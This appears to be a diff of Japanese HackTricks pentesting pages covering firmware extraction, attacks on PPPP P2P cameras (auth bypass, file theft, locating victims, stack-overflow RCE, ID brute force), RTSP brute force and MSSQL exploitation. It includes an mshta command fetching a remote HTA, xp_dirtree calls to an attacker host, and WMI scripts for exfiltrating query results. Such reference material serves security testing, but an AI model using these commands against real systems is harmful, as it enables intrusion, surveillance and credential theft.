多くのベンダーは、アプリがBluetooth/Wi-Fi経由でデバイスを更新できるように、完全なファームウェアイメージをそのコンパニオンモバイルアプリケーション内にバンドルしています。これらのパッケージは、一般的に`assets/fw/`や`res/raw/`のようなパスの下に暗号化されずに保存されています。`apktool`、`ghidra`、または単純な`unzip`などのツールを使用すると、物理ハードウェアに触れることなく署名されたイメージを抽出できます。
多くのベンダは、コンパニオンのモバイルアプリ内に完全なファームウェアイメージをバンドルしており、アプリが Bluetooth/Wi‑Fi 経由でデバイスを更新できるようにしている。これらのパッケージは通常、APK/APEX の `assets/fw/` や `res/raw/` のようなパスに暗号化されずに格納されている。`apktool`、`ghidra`、または単純に `unzip` などのツールを使えば、物理ハードウェアに触れずに署名済みイメージを取り出すことができる。
```
$ apktool d vendor-app.apk -o vendor-app
$ ls vendor-app/assets/firmware
firmware_v1.3.11.490_signed.bin
```
### アップデートロジック評価のチェックリスト
### 更新ロジック評価チェックリスト
* *アップデートエンドポイント*の輸送/認証は適切に保護されていますか（TLS + 認証）？
* デバイスはフラッシングの前に**バージョン番号**または**単調なアンチロールバックカウンター**を比較しますか？
* 画像はセキュアブートチェーン内で検証されていますか（例：ROMコードによる署名の確認）？
* ユーザーランドコードは追加のサニティチェックを行いますか（例：許可されたパーティションマップ、モデル番号）？
* *部分的*または*バックアップ*のアップデートフローは同じ検証ロジックを再利用していますか？
* *update endpoint* のトランスポート／認証は十分に保護されているか（TLS + authentication）?
* デバイスはフラッシュの前に **バージョン番号** または **monotonic anti-rollback counter** を比較しているか?
* イメージはセキュアブートチェーンの内部で検証されているか（例：ROM code による署名チェック）?
* userland code は追加の妥当性チェックを実行しているか（例：許可された partition map、model number）?
* *partial* や *backup* のアップデートフローは同じ検証ロジックを再利用しているか?
> 💡 上記のいずれかが欠けている場合、プラットフォームはロールバック攻撃に対して脆弱である可能性があります。
> 💡 上記のいずれかが欠けている場合、プラットフォームはおそらく rollback attacks に対して脆弱です。
## 実践用の脆弱なファームウェア
## 演習向けの脆弱なファームウェア
ファームウェアの脆弱性を発見する練習をするために、以下の脆弱なファームウェアプロジェクトを出発点として使用してください。
ファームウェアの脆弱性発見を練習するには、以下の脆弱なファームウェアプロジェクトを出発点として利用してください。
- OWASP IoTGoat
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
@ -279,13 +283,13 @@ firmware_v1.3.11.490_signed.bin
- Damn Vulnerable IoT Device (DVID)
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
## 参考文献
## 参考
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
## トレーニングと認証
## トレーニングと認定
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)

BIN
src/images/k8studio.jpg Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 6.5 KiB

165
src/network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md Normal file
View File

@ -0,0 +1,165 @@
# 32100/UDP - Pentesting PPPP (CS2) P2P カメラ
{{#include ../banners/hacktricks-training.md}}
## 概要
PPPP（別名 “P2P”）は、CS2 Network が開発した独自のデバイス接続スタックで、低価格のIPカメラやその他のIoTデバイスに広く組み込まれています。ランデブー、NAT traversal（UDP hole punching）、UDP 上に構築されたアプリ層の「信頼できる」ストリーム、およびIDベースのアドレッシングを提供し、モバイル/デスクトップアプリがデバイスIDだけでインターネット上のどこにあるデバイスにも到達できるようにします。
攻撃者に関連する主な特徴:
- デバイスはIDプレフィックスごとにベンダー運用のランデブーサーバー3台に登録します。クライアントは同じサーバーにクエリを投げてデバイスの外部/リレーアドレスを取得し、UDP hole punching を試みます。NAT traversal に失敗した場合はリレーにフォールバックします。
- デフォルトのサーバーリスナーは UDP/32100 で到達可能です。最小限の "hello" プローブでサーバーや一部デバイスのフィンガープリントが可能です。
- オプションのブランケット暗号と特別な "CRCEnc" モードが存在しますが、設計上弱く、一般的なエコシステム（例: LookCam）では通常無効化されています。
- コントロールプレーンは通常 PPPP ストリーム上の JSON コマンドで、認証欠如やメモリ安全性のバグが頻繁に見られます。
典型的なデバイスIDフォーマット（LookCam 系）: PREFIX-######-CCCCC。アプリでは短縮表示されることがあります（例: GHBB-000001-NRLXW → G000001NRLXW）。観測されるプレフィックス: BHCC ("hekai"), FHBB, GHBB ("mykj")。
## Discovery and Enumeration
- Internet exposure: 多くの PPPP スーパーノードが 32100/UDP プローブに応答します。既知のプレーンテキストやエラーストリングの応答により、トラフィックキャプチャやインターネットスキャナで簡単に識別できます。
- LAN discovery: デバイスはローカルブロードキャスト上の暗号化されていない検索に応答することが多いです。列挙には Paul Marrapese のスクリプトを使用してください:
- [https://github.com/pmarrapese/iot/tree/master/p2p/lansearch](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
注:
- アプリにはサーバーIPリストやプロトコルキーを難読化した "init strings" が埋め込まれており、これらは Android/iOS/Windows クライアントから容易に抽出でき、多くの製品ラインで再利用されることが多いです。
## NAT Traversal and Transport
- ランデブーサーバーは、デバイスからの定期的なキープアライブでデバイスのパブリックマッピングを学習します。クライアントはサーバーにマッピングを問い合わせ、その後 hole punching による直接UDPフローを試みます。NAT traversal が失敗した場合は、指定された PPPP リレーホストがトラフィックを中継します。
- アプリケーションの「ストリーム」は UDP 上に独自の ACK/再送ロジックを実装しており、再送ループが多くのコードパスで重複しているため、損失の多いリンクでフラッドを引き起こすことがあります。
## Weak “Encryption” and Key Recovery
CS2 スタックには効果の薄いメカニズムが2つ存在します:
1) ブランケット暗号（オプション） – P2P_Proprietary_Encrypt
- LookCam を使用する OEM では通常無効化されています。
- アプリ側の "init string" がキー素材を供給し、それは実効的に 4 バイトのキー（約 2^32 の空間）まで縮小されます。
- 実用的な既知平文: UDP/32100 への MSG_HELLO の最初の4バイトは既知で F1 00 00 00 です。単一の暗号化されたハンドシェイクを観測するだけで、キーの高速な回復や検証が可能です。
- 一部のコントロールメッセージ（例: MSG_REPORT_SESSION_READY）は常にライブラリにハードコードされたキーで暗号化され、アプリ間で共有されます。
2) 登録の「暗号化」 – PPPP_CRCEnc
- 名前に反して、これは CRC ではありません。4バイトのパディングチェック（認証なし）を伴う固定の繰り返し XOR キーストリームです。
- LookCam ネットワークでは通常、CRCEnc はデバイス→サーバーの登録（MSG_DEV_LGN_CRC）にのみ使用され、その他のトラフィックの多くは平文のままです。
PPPP_CRCEnc の単純なキーストリーム回復（Python）:
```python
# ciphertext: captured bytes of an encrypted registration message
# known: guessed/known plaintext region (e.g., JSON or constant header)
keystream = bytes([c ^ p for c, p in zip(ciphertext[:len(known)], known)])
# Decrypt more bytes by XORing with the repeating keystream
pt = bytes([c ^ keystream[i % len(keystream)] for i, c in enumerate(ciphertext)])
```
脅威モデルの不一致: CS2 の資料は機密性ではなく、偽のデバイス登録による DoS の防止に重点を置いている。これが、登録だけが選択的に “encryption” され、video/control が任意または cleartext のままになる理由を説明する。過去の PPPP サーバーはレート制限を設けておらず、大規模な brute-force/abuse を可能にしている。
## Control Plane: JSON Commands and Auth Bypass
多くの PPPP カメラのファームウェアは、セッション確立後に JSON メッセージを交換する。クライアントが送る例の “login”:
```json
{
"cmd": "LoginDev",
"pwd": "123456"
}
```
LookCamクラスのデバイスに共通する脆弱性:
- ファームウェアは LoginDev フローとリクエストごとの pwd フィールドの両方を無視します (CWE-287, CWE-306)。デバイスはパスワードを検証せずに操作コマンドを受け付けます。
- Exploitation: LoginDev を送らないかその結果を無視し、コマンドを直接送信します。
観測された有用なコマンド:
- searchWiFiList – iwlist を呼び出し、/tmp/wifi_scan.txt に生の出力を残します。
- DownloadFile – パス制限のない任意パス読み取りプリミティブ。
一時的アーティファクトを用いて位置を特定するワークフロー:
1) {"cmd":"searchWiFiList"} を送信する。
2) DownloadFile を使って /tmp/wifi_scan.txt を読む。
3) BSSID MAC をジオロケーション API (例: Google Geolocation API) に送信して、カメラを数十メートルの精度で特定する。
## Memory-Safety から組み込みファームウェア上の RCE へ
典型的な安全でないパターン（handlers からの擬似コード）:
```c
char buf[256];
char *cmd = cJSON_GetObjectItem(request, "cmd")->valuestring;
memset(buf, 0, sizeof(buf));
memcpy(buf, cmd, strlen(cmd)); // no bound check
```
- トリガー: any cmd string > 255 bytes がスタックバッファオーバーフローを引き起こす (CWE-120/121)。
- 保護: no stack canary; DEP/NX と ASLR はこれらのビルドで一般的に無効化されている。
- 影響: デバイスの CPU (例: ARM) 上での single-stage shellcode または標準的な ROP/ret2libc による完全な侵害と LAN ピボットが容易。
See also:
-
{{#ref}}
../binary-exploitation/stack-overflow/README.md
{{#endref}}
-
{{#ref}}
../binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
{{#endref}}
## Cloud Storage Abuse (HTTP, Device-ID only)
多くの LookCam ブランドのファームウェアは録画を api.l040z.com (BHCC は apicn.l040z.com) に対して HTTP でのみアップロードする。観察点:
- ファームウェア内に TLS はなく、トランスポートは平文の HTTP。
- API の「認証」は device-ID のみ: ID を知っていれば誰でも録画を取得できる。
- 5 MiB のチャンク分割がハードコードされている。
- リモート有効化: 起動時にデバイスは http://api.l040z.com/camera/signurl を呼び出し、サーバの応答がアップロード開始を決定する。モバイルアプリは cloud が「無効」と表示していてもアップロードが行われる場合がある。第三者が被害者の ID に対して cloud を購入/有効化すると、映像を黙って収集できる。
これは典型的な平文による機密送信 (CWE-319) かつサーバ側の authZ 欠如のケースである。
## Device-ID Enumeration and Guessing
- ID 形式: PREFIX-######-CCCCC とアプリ短縮形 (例: GHBB-000001-NRLXW → G000001NRLXW)。
- プレフィックスファミリ: BHCC (hekai servers)、FHBB と GHBB (mykj servers)。各プレフィックスは HA のために 3 つの rendezvous servers にマップされる。
- 5 文字の verifier は 22 文字の大文字アルファベットを使用 (A, I, O, Q を除外) → 22^5 ≈ 5.15M の組み合わせが各数値ベースに対して存在。
- 先行研究ではサーバ側のレート制限が見られず、分散推測が実用的であることが示された。verifier アルゴリズムは独自実装で、アプリ/ファームウェアのリバースで推測または取得可能であると考えられる。
実用的な ID の入手源:
- 正式アプリ上の表示やユーザのスクリーンショット/ビデオに頻繁に露出している。
- AP モードの SSID がデバイス ID と一致する; 多くのデバイスはオンボーディング時にオープンな AP を露出する。
## Forcing Remote Reachability
一部のファームウェアは rendezvous servers に到達可能になるまでループで再起動を続ける。egress がブロックされるとデバイスは再起動サイクルのままになり、所有者を事実上インターネット到達可能な状態にして PPPP rendezvous に曝露させることになる。
## Practical Exploitation Playbook (for repro/defense testing)
1) Obtain device ID
- アプリ UI や AP SSID から取得; それ以外は PREFIX+number を列挙し 22^5 の verifier 空間をブルートフォース。
2) Establish PPPP session
- CS2 PPPP client またはカスタム実装を使用; アプリの init string から server IP リストと init keys を抽出; UDP hole punching を試み、失敗したら relay にフォールバック。
3) Bypass auth
- LoginDev をスキップまたはその結果を無視し、運用用 JSON を直接送信。
4) Exfiltrate files / geo-locate
- Send {"cmd":"searchWiFiList"}; その後 DownloadFile "/tmp/wifi_scan.txt"; 得た BSSIDs をジオロケーション API に提出。
5) Achieve RCE
- Send a cmd > 255 bytes でスタックオーバーフローを誘発; ROP/ret2libc を構築するか shellcode をドロップして RCE を達成 (no canary/DEP/ASLR)。
6) Cloud access
- device ID のみで api.l040z.com エンドポイントと対話; 5 MiB チャンク分割に注意; cloud の有効化は /camera/signurl によって制御され、アプリ UI の状態に依存しない。
## Related Protocols/Services
-
{{#ref}}
554-8554-pentesting-rtsp.md
{{#endref}}
-
{{#ref}}
../generic-methodologies-and-resources/pentesting-wifi/README.md
{{#endref}}
## References
- [A look at a P2P camera (LookCam app) – Almost Secure](https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/)
- [PPPP device discovery on LAN (Paul Marrapese)](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
- [LookCam analysis (Warwick University, 2023)](https://www.dcs.warwick.ac.uk/~fenghao/files/hidden_camera.pdf)
- [General PPPP analysis – Elastic Security Labs (2024)](https://www.elastic.co/security-labs/storm-on-the-horizon)
- [CS2 Network sales deck (2016) – PPPP/threat model](https://prezi.com/5cztk-98izyc/cs2-network-p2p/)
- [Anyka hardened community firmware](https://github.com/Nemobi/Anyka/)
{{#include ../banners/hacktricks-training.md}}

62
src/network-services-pentesting/554-8554-pentesting-rtsp.md
View File

@ -4,34 +4,34 @@
## 基本情報
From [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
出典: [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
> The **Real Time Streaming Protocol** (**RTSP**) は、ストリーミングメディアサーバーを制御するためにエンターテインメントおよび通信システムで使用されるネットワーク制御プロトコルです。このプロトコルは、エンドポイント間のメディアセッションを確立し、制御するために使用されます。メディアサーバーのクライアントは、サーバーからクライアントへのメディアストリーミング（Video On Demand）やクライアントからサーバーへのメディアストリーミング（Voice Recording）をリアルタイムで制御するために、再生、録画、一時停止などのVHSスタイルのコマンドを発行します。
> **Real Time Streaming Protocol** (**RTSP**) は、エンターテインメントや通信システムでストリーミングメディアサーバーを制御するために設計されたネットワーク制御プロトコルです。プロトコルはエンドポイント間でメディアセッションを確立・制御するために使用されます。メディアサーバーのクライアントは、VHSスタイルのコマンド（play、record、pause など）を発行して、サーバーからクライアントへのメディアストリーミング（Video On Demand）やクライアントからサーバーへの送信（Voice Recording）をリアルタイムで制御します。
>
> ストリーミングデータ自体の伝送はRTSPのタスクではありません。ほとんどのRTSPサーバーは、メディアストリームの配信のためにリアルタイムトランスポートプロトコル（RTP）とリアルタイム制御プロトコル（RTCP）を併用しています。ただし、一部のベンダーは独自のトランスポートプロトコルを実装しています。たとえば、RealNetworksのRTSPサーバーソフトウェアは、RealNetworksの独自のReal Data Transport（RDT）も使用しています。
> ストリーミングデータ自体の送信は RTSP の役割ではありません。ほとんどの RTSP サーバーは、メディアストリーム配信に Real-time Transport Protocol (RTP) と Real-time Control Protocol (RTCP) を併用します。ただし、ベンダーによっては独自のトランスポートプロトコルを実装している場合があります。例えば、RealNetworks の RTSP サーバーソフトウェアは、RealNetworks の独自プロトコルである Real Data Transport (RDT) を使用していました。
**デフォルトポート:** 554,8554
**既定のポート:** 554,8554
```
PORT STATE SERVICE
554/tcp open rtsp
```
## Key Details
## 重要なポイント
**RTSP**はHTTPに似ていますが、メディアストリーミング専用に設計されています。これは、ここにある簡潔な仕様で定義されています：
**RTSP** は **HTTP** に似ていますが、メディアストリーミング向けに特化して設計されています。仕様は次のドキュメントに定義されています:
[RTSP – RFC2326](https://tools.ietf.org/html/rfc2326)
デバイスは**未認証**または**認証済み**のアクセスを許可する場合があります。確認するために、「DESCRIBE」リクエストが送信されます。基本的な例は以下の通りです：
デバイスは**未認証（unauthenticated）**または**認証あり（authenticated）**のアクセスを許可している場合があります。確認するには "DESCRIBE" リクエストを送ります。基本的な例は以下のとおりです:
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2`
正しいフォーマットには、一貫した応答のためにダブルの"\r\n"が含まれることを忘れないでください。「200 OK」の応答は**未認証アクセス**を示し、「401 Unauthorized」は認証が必要であることを示し、**Basic**または**Digest authentication**が必要かどうかを明らかにします。
正しいフォーマットにはダブルの "\r\n" が含まれることを忘れないでください。これにより一貫したレスポンスが得られます。"200 OK" は**未認証アクセス**を示し、"401 Unauthorized" は認証が必要であることを示します。どの方式（**Basic** か **Digest authentication**）が必要かも分かります。
**Basic authentication**の場合、ユーザー名とパスワードをbase64でエンコードし、リクエストに次のように含めます：
**Basic authentication** の場合、ユーザー名とパスワードを base64 でエンコードして、以下のようにリクエストに含めます:
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==`
この例では、資格情報として「admin」と「1234」を使用しています。以下は、そのようなリクエストを送信するための**Pythonスクリプト**です：
この例では資格情報に "admin" と "1234" を使用しています。以下はそのようなリクエストを送るための **Python script** です:
```python
import socket
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
@ -41,42 +41,48 @@ s.sendall(req)
data = s.recv(1024)
print(data)
```
**基本認証**はより簡単で好まれます。**ダイジェスト認証**は、「401 Unauthorized」レスポンスで提供される認証詳細を慎重に扱う必要があります。
**Basic authentication** の方がシンプルで推奨されます。**Digest authentication** は、"401 Unauthorized" レスポンスで提供される認証情報を注意深く扱う必要があります。
この概要は、RTSPストリームへのアクセスプロセスを簡素化し、初期の試行におけるそのシンプルさと実用性のために**基本認証**に焦点を当てています。
この概要では、RTSP ストリームへのアクセス手順を簡略化し、初期の試行における簡便性と実用性のために **Basic authentication** に焦点を当てます。
## 列挙
有効なメソッドとサポートされているURLに関する情報を取得し、必要に応じてコンテンツへのアクセスを得るためにブルートフォースを試みましょう。
有効なメソッドやサポートされている URLs に関する情報を取得し、必要に応じて brute-force でアクセスを試みてコンテンツに到達できるか確認します。
```bash
nmap -sV --script "rtsp-*" -p <PORT> <IP>
```
#### RTSPストリームの表示 [ffplay](https://ffmpeg.org/ffplay.html)を使用して
有効なRTSPパス（例：`/mpeg4`、`/live.sdp`）を発見し、アクセスを確認したら（認証なしまたは資格情報を使用）、`ffplay`を使用してフィードをストリーミングできます：
#### [ffplay](https://ffmpeg.org/ffplay.html) を使って RTSP ストリームを表示する
有効な RTSP パス（例: `/mpeg4`, `/live.sdp`）を見つけ、アクセス権（未認証または資格情報によるもの）を確認したら、`ffplay` を使ってフィードをストリーミングできます:
```bash
ffplay -rtsp_transport tcp rtsp://<IP>/mpeg4 -x 2560 -y 1440
```
- `-rtsp_transport tcp`: より信頼性の高いストリーミングのためにUDPの代わりにTCPを使用
- `-x`, `-y`: 動画解像度を制御するためのオプションフラグ
- 必要に応じて`<IP>`とパスを置き換える
- `-rtsp_transport tcp`: より信頼性の高いストリーミングのために UDP の代わりに TCP を使用する
- `-x`, `-y`: ビデオ解像度を制御する任意のフラグ
- 必要に応じて `<IP>` とパスを置き換える
### [ブルートフォース](../generic-hacking/brute-force.md#rtsp)
### [Brute Force](../generic-hacking/brute-force.md#rtsp)
### **その他の便利なプログラム**
ブルートフォース用: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
Bruteforceするには: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
[**Cameradar**](https://github.com/Ullaakut/cameradar)
- アクセス可能なターゲット上のオープンRTSPホストを検出
- それらの公開情報を取得（ホスト名、ポート、カメラモデルなど）
- ストリームルートを取得するために自動辞書攻撃を実行（例: /live.sdp）
- カメラのユーザー名とパスワードを取得するために自動辞書攻撃を実行
- ストリームが有効かどうかを確認し、その内容のクイックプレビューを得るためにサムネイルを生成
- 適切にエンコードされているかを確認するためにGstreamerパイプラインを作成しようとする
- Cameradarが取得できたすべての情報の概要を印刷
- アクセス可能な任意のターゲット上でオープンな RTSP ホストを検出する
- ホストの公開情報（hostname、port、camera model など）を取得する
- ストリームのルート（例: /live.sdp）を取得するために自動化された dictionary attacks を起動する
- カメラの username と password を取得するために自動化された dictionary attacks を起動する
- それらからサムネイルを生成して、ストリームが有効か確認し、内容を素早くプレビューする
- 正しくエンコードされているか確認するために Gstreamer パイプラインを作成しようとする
- Cameradar が取得できたすべての情報のサマリを出力する
## 参考文献
### 参照
{{#ref}}
32100-udp-pentesting-pppp-cs2-p2p-cameras.md
{{#endref}}
## 参考
- [https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol)
- [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)

208
src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
View File

@ -4,35 +4,35 @@
## 基本情報
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
出典: [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server** は **リレーショナルデータベース** 管理システムで、Microsoft によって開発されました。データベースサーバーとして、主な機能は、他のソフトウェアアプリケーションから要求されたデータを保存および取得することです。これらのアプリケーションは、同じコンピュータ上またはネットワーク（インターネットを含む）上の別のコンピュータ上で実行される場合があります。
> **Microsoft SQL Server** は Microsoft によって開発された **リレーショナル・データベース** 管理システムです。データベースサーバーとして、他のソフトウェアアプリケーションが要求したデータを格納および取得することを主要な機能とするソフトウェア製品です。これらのアプリケーションは同じコンピュータ上で実行されている場合もあれば、ネットワーク（インターネットを含む）を介して別のコンピュータ上で実行されている場合もあります。
**デフォルトポート:** 1433
**デフォルトポート：** 1433
```
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **デフォルトのMS-SQLシステムテーブル**
### **既定の MS-SQL システムテーブル**
- **master Database**: このデータベースは、SQL Serverインスタンスのすべてのシステムレベルの詳細をキャプチャするため、重要です。
- **msdb Database**: SQL Server Agentは、このデータベースを使用してアラートとジョブのスケジューリングを管理します。
- **model Database**: SQL Serverインスタンス上のすべての新しいデータベースの青写真として機能し、サイズ、照合、リカバリモデルなどの変更が新しく作成されたデータベースに反映されます。
- **Resource Database**: SQL Serverに付属するシステムオブジェクトを格納する読み取り専用データベースです。これらのオブジェクトは物理的にはResourceデータベースに保存されていますが、論理的にはすべてのデータベースのsysスキーマに表示されます。
- **tempdb Database**: 一時的なオブジェクトや中間結果セットのための一時ストレージエリアとして機能します。
- **master Database**: このデータベースは重要で、SQL Server インスタンスのすべてのシステムレベルの情報を保持します。
- **msdb Database**: SQL Server Agent はアラートやジョブのスケジューリング管理にこのデータベースを利用します。
- **model Database**: SQL Server インスタンス上の新しいデータベースのテンプレートとして機能し、サイズ、照合順序 (collation)、リカバリモデル (recovery model) などの変更が新規作成されたデータベースに反映されます。
- **Resource Database**: SQL Server に付属するシステムオブジェクトを格納する読み取り専用のデータベースです。これらのオブジェクトは物理的には Resource Database に格納されていますが、論理的には各データベースの sys スキーマに表示されます。
- **tempdb Database**: 一時的なオブジェクトや中間結果セットのための一時ストレージ領域として機能します。
## 列挙
### 自動列挙
サービスについて何も知らない場合:
If you don't know anything about the service:
```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!TIP]
> もし**資格情報**が**ない**場合は、推測してみることができます。nmapやmetasploitを使用できます。注意してください、既存のユーザー名を使用して何度もログインに失敗すると、**アカウントをブロック**する可能性があります。
> もし **don't** **have credentials** の場合は、それらを推測してみることができます。nmap や metasploit を使用できます。注意: 既存の username を使って login を数回失敗すると、**block accounts** される可能性があります。
#### Metasploit (資格情報が必要)
#### Metasploit (need creds)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@ -64,11 +64,11 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
```
### [**ブルートフォース**](../../generic-hacking/brute-force.md#sql-server)
### [**Brute force**](../../generic-hacking/brute-force.md#sql-server)
### 手動列挙
#### ログイン
#### Login
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
1> select 1;
2> go
```
#### 一般的な列挙
#### 共通 Enumeration
```sql
# Get version
select @@version;
@ -154,16 +154,16 @@ order by name;
EXEC sp_helpuser
SELECT * FROM sysusers
```
#### 権限の取得
#### Get Permissions
1. **Securable:** SQL Serverによってアクセス制御のために管理されるリソースとして定義されます。これらは以下のように分類されます：
- **Server** – データベース、ログイン、エンドポイント、可用性グループ、サーバーロールなどの例があります。
- **Database** – データベースロール、アプリケーションロール、スキーマ、証明書、全文検索カタログ、ユーザーなどの例が含まれます。
- **Schema** – テーブル、ビュー、プロシージャ、関数、同義語などが含まれます。
2. **Permission:** SQL Serverのセキュアブルに関連付けられた権限で、ALTER、CONTROL、CREATEなどが主体に付与されることがあります。権限の管理は2つのレベルで行われます：
- **Server Level** ログインを使用
- **Database Level** ユーザーを使用
3. **Principal:** この用語は、セキュアブルに対して権限を付与されるエンティティを指します。プリンシパルには主にログインとデータベースユーザーが含まれます。セキュアブルへのアクセス制御は、権限の付与または拒否、またはアクセス権を持つロールにログインとユーザーを含めることによって行われます。
1. **Securable:** SQL Server がアクセス制御のために管理するリソースを指します。これらは次のように分類されます：
- **Server** – 例: databases、logins、endpoints、availability groups、server roles。
- **Database** – 例: database role、application roles、schema、certificates、full text catalogs、users。
- **Schema** – tables、views、procedures、functions、synonyms などを含みます。
2. **Permission:** は SQL Server の securables に関連付けられ、ALTER、CONTROL、CREATE のような権限が principal に付与できます。権限の管理は二つのレベルで行われます：
- **Server Level** – logins を使用して管理されます
- **Database Level** – users を使用して管理されます
3. **Principal:** は securable に対して権限が付与される主体を指します。Principals は主に logins と database users を含みます。securables へのアクセス制御は、権限の付与・拒否、または logins や users をアクセス権を持つ roles に含めることで行われます。
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -183,12 +183,12 @@ SELECT IS_SRVROLEMEMBER('sysadmin');
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
## Tricks
## トリック
### OSコマンドの実行
### OSコマンドを実行する
> [!CAUTION]
> コマンドを実行するには、**`xp_cmdshell`** が **有効** であるだけでなく、**`xp_cmdshell` ストアドプロシージャに対する EXECUTE 権限** も必要です。誰が（sysadminを除く）**`xp_cmdshell`** を使用できるかは、次のコマンドで確認できます：
> コマンドを実行できるようにするには、**`xp_cmdshell`** が有効であることだけでなく、`xp_cmdshell` ストアドプロシージャに対する **EXECUTE** 権限を持っている必要がある点に注意してください。以下のコマンドで（sysadmins を除く）誰が **`xp_cmdshell`** を使用できるかを確認できます：
>
> ```sql
> Use master
@ -235,13 +235,45 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### ハッシュ化されたパスワードを取得する
### WMI-based remote SQL collection (sqlcmd + CSV export)
OperatorsはWMIを使用してIIS/app tierからSQL Serversへpivotし、MSSQLに認証してad‑hocクエリを実行する小さなバッチを実行し、結果をCSVにエクスポートできます。これにより収集が簡素になり、管理者の活動に溶け込みます。
Example mssq.bat
```bat
@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
```
WMI を使用してリモートで実行する
```cmd
wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
```
PowerShellの代替
```powershell
$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
```
注意事項
- sqlcmd が存在しない場合があるため、osql、PowerShell Invoke-Sqlcmd、または System.Data.SqlClient を使ったワンライナーにフォールバックする。
- 引用は慎重に扱うこと。長い/複雑なクエリはファイル経由で渡すか、batch/PowerShell スタブ内でデコードされる Base64‑encoded 引数として渡す方が簡単。
- CSV を SMB 経由で Exfil する（例: copy from \\SQLHOST\C$\Windows\Temp）か、圧縮して C2 経由で移動させる。
### ハッシュ化されたパスワードを取得
```bash
SELECT * FROM master.sys.syslogins;
```
### NetNTLMハッシュを盗む / リレー攻撃
### Steal NetNTLM hash / Relay attack
認証に使用されるハッシュをキャプチャするために、**SMBサーバー**を起動する必要があります（例えば、`impacket-smbserver`や`responder`）。
認証で使用されるハッシュをキャプチャするために、**SMB server**を起動してください（例: `impacket-smbserver` や `responder`）。
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
@ -265,7 +297,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
> [!WARNING]
> sysadmins以外の誰がこれらのMSSQL関数を実行する権限を持っているかを確認するには、次のコマンドを使用します：
> システム管理者以外がこれらの MSSQL 関数を実行する権限を持っているかどうかは、次で確認できます:
>
> ```sql
> Use master;
